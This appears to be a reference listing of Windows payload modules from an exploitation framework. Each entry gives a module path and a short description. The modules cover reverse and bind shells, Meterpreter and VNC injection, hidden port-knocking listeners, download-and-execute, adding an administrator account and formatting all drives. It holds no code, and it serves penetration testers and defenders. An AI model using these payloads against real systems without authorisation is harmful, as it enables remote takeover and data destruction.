windows/adduser Create a new user and add them to local administration group. Note: The specified password is checked for common complexity requirements to prevent the target machine rejecting the user for failing to meet policy requirements. Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)

windows/dllinject/bind_hidden_ipknock_tcp Inject a DLL via a reflective loader. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/dllinject/bind_hidden_tcp Inject a DLL via a reflective loader. Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/dllinject/bind_ipv6_tcp Inject a DLL via a reflective loader. Listen for an IPv6 connection (Windows x86)

windows/dllinject/bind_ipv6_tcp_uuid Inject a DLL via a reflective loader. Listen for an IPv6 connection with UUID Support (Windows x86)

windows/dllinject/bind_nonx_tcp Inject a DLL via a reflective loader. Listen for a connection (No NX)

windows/dllinject/bind_tcp Inject a DLL via a reflective loader. Listen for a connection (Windows x86)

windows/dllinject/bind_tcp_rc4 Inject a DLL via a reflective loader. Listen for a connection

windows/dllinject/bind_tcp_uuid Inject a DLL via a reflective loader. Listen for a connection with UUID Support (Windows x86)

windows/dllinject/find_tag Inject a DLL via a reflective loader. Use an established connection

windows/dllinject/reverse_hop_http Inject a DLL via a reflective loader. Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.

windows/dllinject/reverse_http Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows wininet)

windows/dllinject/reverse_http_proxy_pstore Inject a DLL via a reflective loader. Tunnel communication over HTTP

windows/dllinject/reverse_ipv6_tcp Inject a DLL via a reflective loader. Connect back to the attacker over IPv6

windows/dllinject/reverse_nonx_tcp Inject a DLL via a reflective loader. Connect back to the attacker (No NX)

windows/dllinject/reverse_ord_tcp Inject a DLL via a reflective loader. Connect back to the attacker

windows/dllinject/reverse_tcp Inject a DLL via a reflective loader. Connect back to the attacker

windows/dllinject/reverse_tcp_allports Inject a DLL via a reflective loader. Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/dllinject/reverse_tcp_dns Inject a DLL via a reflective loader. Connect back to the attacker

windows/dllinject/reverse_tcp_rc4 Inject a DLL via a reflective loader. Connect back to the attacker

windows/dllinject/reverse_tcp_rc4_dns Inject a DLL via a reflective loader. Connect back to the attacker

windows/dllinject/reverse_tcp_uuid Inject a DLL via a reflective loader. Connect back to the attacker with UUID Support

windows/dllinject/reverse_winhttp Inject a DLL via a reflective loader. Tunnel communication over HTTP (Windows winhttp)

windows/dns_txt_query_exec Performs a TXT query against a series of DNS record(s) and executes the returned payload

windows/download_exec Download an EXE from an HTTP(S)/FTP URL and execute it

windows/exec Execute an arbitrary command

windows/format_all_drives This payload formats all mounted disks in Windows (aka ShellcodeOfDeath). After formatting, this payload sets the volume label to the string specified in the VOLUMELABEL option. If the code is unable to access a drive for any reason, it skips the drive and proceeds to the next volume.

windows/loadlibrary Load an arbitrary library path

windows/messagebox Spawns a dialog via MessageBox using a customizable title, text & icon

windows/meterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/meterpreter/bind_hidden_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for an IPv6 connection (Windows x86)

windows/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for an IPv6 connection with UUID Support (Windows x86)

windows/meterpreter/bind_nonx_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection (No NX)

windows/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection (Windows x86)

windows/meterpreter/bind_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection

windows/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Listen for a connection with UUID Support (Windows x86)

windows/meterpreter/find_tag Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Use an established connection

windows/meterpreter/reverse_hop_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.

windows/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP (Windows wininet)

windows/meterpreter/reverse_http_proxy_pstore Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP

windows/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTPS (Windows wininet)

windows/meterpreter/reverse_https_proxy Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP using SSL with custom proxy support

windows/meterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker over IPv6

windows/meterpreter/reverse_nonx_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker (No NX)

windows/meterpreter/reverse_ord_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

windows/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

windows/meterpreter/reverse_tcp_allports Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/meterpreter/reverse_tcp_dns Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

windows/meterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

windows/meterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker

windows/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Connect back to the attacker with UUID Support

windows/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTP (Windows winhttp)

windows/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged). Tunnel communication over HTTPS (Windows winhttp)

windows/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell

windows/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell

windows/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell

windows/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell

windows/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell

windows/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service

windows/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service

windows/patchupdllinject/bind_hidden_ipknock_tcp Inject a custom DLL into the exploited process. Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/patchupdllinject/bind_hidden_tcp Inject a custom DLL into the exploited process. Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/patchupdllinject/bind_ipv6_tcp Inject a custom DLL into the exploited process. Listen for an IPv6 connection (Windows x86)

windows/patchupdllinject/bind_ipv6_tcp_uuid Inject a custom DLL into the exploited process. Listen for an IPv6 connection with UUID Support (Windows x86)

windows/patchupdllinject/bind_nonx_tcp Inject a custom DLL into the exploited process. Listen for a connection (No NX)

windows/patchupdllinject/bind_tcp Inject a custom DLL into the exploited process. Listen for a connection (Windows x86)

windows/patchupdllinject/bind_tcp_rc4 Inject a custom DLL into the exploited process. Listen for a connection

windows/patchupdllinject/bind_tcp_uuid Inject a custom DLL into the exploited process. Listen for a connection with UUID Support (Windows x86)

windows/patchupdllinject/find_tag Inject a custom DLL into the exploited process. Use an established connection

windows/patchupdllinject/reverse_ipv6_tcp Inject a custom DLL into the exploited process. Connect back to the attacker over IPv6

windows/patchupdllinject/reverse_nonx_tcp Inject a custom DLL into the exploited process. Connect back to the attacker (No NX)

windows/patchupdllinject/reverse_ord_tcp Inject a custom DLL into the exploited process. Connect back to the attacker

windows/patchupdllinject/reverse_tcp Inject a custom DLL into the exploited process. Connect back to the attacker

windows/patchupdllinject/reverse_tcp_allports Inject a custom DLL into the exploited process. Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/patchupdllinject/reverse_tcp_dns Inject a custom DLL into the exploited process. Connect back to the attacker

windows/patchupdllinject/reverse_tcp_rc4 Inject a custom DLL into the exploited process. Connect back to the attacker

windows/patchupdllinject/reverse_tcp_rc4_dns Inject a custom DLL into the exploited process. Connect back to the attacker

windows/patchupdllinject/reverse_tcp_uuid Inject a custom DLL into the exploited process. Connect back to the attacker with UUID Support

windows/patchupmeterpreter/bind_hidden_ipknock_tcp Inject the meterpreter server DLL (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/patchupmeterpreter/bind_hidden_tcp Inject the meterpreter server DLL (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/patchupmeterpreter/bind_ipv6_tcp Inject the meterpreter server DLL (staged). Listen for an IPv6 connection (Windows x86)

windows/patchupmeterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL (staged). Listen for an IPv6 connection with UUID Support (Windows x86)

windows/patchupmeterpreter/bind_nonx_tcp Inject the meterpreter server DLL (staged). Listen for a connection (No NX)

windows/patchupmeterpreter/bind_tcp Inject the meterpreter server DLL (staged). Listen for a connection (Windows x86)

windows/patchupmeterpreter/bind_tcp_rc4 Inject the meterpreter server DLL (staged). Listen for a connection

windows/patchupmeterpreter/bind_tcp_uuid Inject the meterpreter server DLL (staged). Listen for a connection with UUID Support (Windows x86)

windows/patchupmeterpreter/find_tag Inject the meterpreter server DLL (staged). Use an established connection

windows/patchupmeterpreter/reverse_ipv6_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker over IPv6

windows/patchupmeterpreter/reverse_nonx_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker (No NX)

windows/patchupmeterpreter/reverse_ord_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker

windows/patchupmeterpreter/reverse_tcp Inject the meterpreter server DLL (staged). Connect back to the attacker

windows/patchupmeterpreter/reverse_tcp_allports Inject the meterpreter server DLL (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/patchupmeterpreter/reverse_tcp_dns Inject the meterpreter server DLL (staged). Connect back to the attacker

windows/patchupmeterpreter/reverse_tcp_rc4 Inject the meterpreter server DLL (staged). Connect back to the attacker

windows/patchupmeterpreter/reverse_tcp_rc4_dns Inject the meterpreter server DLL (staged). Connect back to the attacker

windows/patchupmeterpreter/reverse_tcp_uuid Inject the meterpreter server DLL (staged). Connect back to the attacker with UUID Support

windows/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session

windows/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session

windows/shell/bind_hidden_ipknock_tcp Spawn a piped command shell (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/shell/bind_hidden_tcp Spawn a piped command shell (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/shell/bind_ipv6_tcp Spawn a piped command shell (staged). Listen for an IPv6 connection (Windows x86)

windows/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (staged). Listen for an IPv6 connection with UUID Support (Windows x86)

windows/shell/bind_nonx_tcp Spawn a piped command shell (staged). Listen for a connection (No NX)

windows/shell/bind_tcp Spawn a piped command shell (staged). Listen for a connection (Windows x86)

windows/shell/bind_tcp_rc4 Spawn a piped command shell (staged). Listen for a connection

windows/shell/bind_tcp_uuid Spawn a piped command shell (staged). Listen for a connection with UUID Support (Windows x86)

windows/shell/find_tag Spawn a piped command shell (staged). Use an established connection

windows/shell/reverse_ipv6_tcp Spawn a piped command shell (staged). Connect back to the attacker over IPv6

windows/shell/reverse_nonx_tcp Spawn a piped command shell (staged). Connect back to the attacker (No NX)

windows/shell/reverse_ord_tcp Spawn a piped command shell (staged). Connect back to the attacker

windows/shell/reverse_tcp Spawn a piped command shell (staged). Connect back to the attacker

windows/shell/reverse_tcp_allports Spawn a piped command shell (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/shell/reverse_tcp_dns Spawn a piped command shell (staged). Connect back to the attacker

windows/shell/reverse_tcp_rc4 Spawn a piped command shell (staged). Connect back to the attacker

windows/shell/reverse_tcp_rc4_dns Spawn a piped command shell (staged). Connect back to the attacker

windows/shell/reverse_tcp_uuid Spawn a piped command shell (staged). Connect back to the attacker with UUID Support

windows/shell_bind_tcp Listen for a connection and spawn a command shell

windows/shell_bind_tcp_xpfw Disable the Windows ICF, then listen for a connection and spawn a command shell

windows/shell_hidden_bind_tcp Listen for a connection from certain IP and spawn a command shell. The shellcode will reply with a RST packet if the connections is not comming from the IP defined in AHOST. This way the port will appear as "closed" helping us to hide the shellcode.

windows/shell_reverse_tcp Connect back to attacker and spawn a command shell

windows/speak_pwned Causes the target to say "You Got Pwned" via the Windows Speech API

windows/upexec/bind_hidden_ipknock_tcp Uploads an executable and runs it (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/upexec/bind_hidden_tcp Uploads an executable and runs it (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/upexec/bind_ipv6_tcp Uploads an executable and runs it (staged). Listen for an IPv6 connection (Windows x86)

windows/upexec/bind_ipv6_tcp_uuid Uploads an executable and runs it (staged). Listen for an IPv6 connection with UUID Support (Windows x86)

windows/upexec/bind_nonx_tcp Uploads an executable and runs it (staged). Listen for a connection (No NX)

windows/upexec/bind_tcp Uploads an executable and runs it (staged). Listen for a connection (Windows x86)

windows/upexec/bind_tcp_rc4 Uploads an executable and runs it (staged). Listen for a connection

windows/upexec/bind_tcp_uuid Uploads an executable and runs it (staged). Listen for a connection with UUID Support (Windows x86)

windows/upexec/find_tag Uploads an executable and runs it (staged). Use an established connection

windows/upexec/reverse_ipv6_tcp Uploads an executable and runs it (staged). Connect back to the attacker over IPv6

windows/upexec/reverse_nonx_tcp Uploads an executable and runs it (staged). Connect back to the attacker (No NX)

windows/upexec/reverse_ord_tcp Uploads an executable and runs it (staged). Connect back to the attacker

windows/upexec/reverse_tcp Uploads an executable and runs it (staged). Connect back to the attacker

windows/upexec/reverse_tcp_allports Uploads an executable and runs it (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/upexec/reverse_tcp_dns Uploads an executable and runs it (staged). Connect back to the attacker

windows/upexec/reverse_tcp_rc4 Uploads an executable and runs it (staged). Connect back to the attacker

windows/upexec/reverse_tcp_rc4_dns Uploads an executable and runs it (staged). Connect back to the attacker

windows/upexec/reverse_tcp_uuid Uploads an executable and runs it (staged). Connect back to the attacker with UUID Support

windows/vncinject/bind_hidden_ipknock_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection. First, the port will need to be knocked from the IP defined in KHOST. This IP will work as an authentication method (you can spoof it with tools like hping). After that you could get your shellcode from any IP. The socket will appear as "closed," thus helping to hide the shellcode

windows/vncinject/bind_hidden_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection from a hidden port and spawn a command shell to the allowed host.

windows/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection (Windows x86)

windows/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for an IPv6 connection with UUID Support (Windows x86)

windows/vncinject/bind_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (No NX)

windows/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (staged). Listen for a connection (Windows x86)

windows/vncinject/bind_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Listen for a connection

windows/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Listen for a connection with UUID Support (Windows x86)

windows/vncinject/find_tag Inject a VNC Dll via a reflective loader (staged). Use an established connection

windows/vncinject/reverse_hop_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop.

windows/vncinject/reverse_http Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows wininet)

windows/vncinject/reverse_http_proxy_pstore Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP

windows/vncinject/reverse_ipv6_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker over IPv6

windows/vncinject/reverse_nonx_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker (No NX)

windows/vncinject/reverse_ord_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker

windows/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker

windows/vncinject/reverse_tcp_allports Inject a VNC Dll via a reflective loader (staged). Try to connect back to the attacker, on all possible ports (1-65535, slowly)

windows/vncinject/reverse_tcp_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker

windows/vncinject/reverse_tcp_rc4 Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker

windows/vncinject/reverse_tcp_rc4_dns Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker

windows/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (staged). Connect back to the attacker with UUID Support

windows/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (staged). Tunnel communication over HTTP (Windows winhttp)

windows/x64/exec Execute an arbitrary command (Windows x64)

windows/x64/loadlibrary Load an arbitrary x64 library path

windows/x64/meterpreter/bind_ipv6_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection (Windows x64)

windows/x64/meterpreter/bind_ipv6_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for an IPv6 connection with UUID Support (Windows x64)

windows/x64/meterpreter/bind_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection (Windows x64)

windows/x64/meterpreter/bind_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Listen for a connection with UUID Support (Windows x64)

windows/x64/meterpreter/reverse_http Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 wininet)

windows/x64/meterpreter/reverse_https Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 wininet)

windows/x64/meterpreter/reverse_tcp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker (Windows x64)

windows/x64/meterpreter/reverse_tcp_uuid Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Connect back to the attacker with UUID Support (Windows x64)

windows/x64/meterpreter/reverse_winhttp Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTP (Windows x64 winhttp)

windows/x64/meterpreter/reverse_winhttps Inject the meterpreter server DLL via the Reflective Dll Injection payload (staged x64). Tunnel communication over HTTPS (Windows x64 winhttp)

windows/x64/meterpreter_bind_tcp Connect to victim and spawn a Meterpreter shell

windows/x64/meterpreter_reverse_http Connect back to attacker and spawn a Meterpreter shell

windows/x64/meterpreter_reverse_https Connect back to attacker and spawn a Meterpreter shell

windows/x64/meterpreter_reverse_ipv6_tcp Connect back to attacker and spawn a Meterpreter shell

windows/x64/meterpreter_reverse_tcp Connect back to attacker and spawn a Meterpreter shell

windows/x64/powershell_bind_tcp Listen for a connection and spawn an interactive powershell session

windows/x64/powershell_reverse_tcp Listen for a connection and spawn an interactive powershell session

windows/x64/shell/bind_ipv6_tcp Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)

windows/x64/shell/bind_ipv6_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)

windows/x64/shell/bind_tcp Spawn a piped command shell (Windows x64) (staged). Listen for a connection (Windows x64)

windows/x64/shell/bind_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)

windows/x64/shell/reverse_tcp Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker (Windows x64)

windows/x64/shell/reverse_tcp_uuid Spawn a piped command shell (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)

windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64)

windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64)

windows/x64/vncinject/bind_ipv6_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection (Windows x64)

windows/x64/vncinject/bind_ipv6_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for an IPv6 connection with UUID Support (Windows x64)

windows/x64/vncinject/bind_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection (Windows x64)

windows/x64/vncinject/bind_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Listen for a connection with UUID Support (Windows x64)

windows/x64/vncinject/reverse_http Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)

windows/x64/vncinject/reverse_https Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 wininet)

windows/x64/vncinject/reverse_tcp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker (Windows x64)

windows/x64/vncinject/reverse_tcp_uuid Inject a VNC Dll via a reflective loader (Windows x64) (staged). Connect back to the attacker with UUID Support (Windows x64)

windows/x64/vncinject/reverse_winhttp Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTP (Windows x64 winhttp)

windows/x64/vncinject/reverse_winhttps Inject a VNC Dll via a reflective loader (Windows x64) (staged). Tunnel communication over HTTPS (Windows x64 winhttp)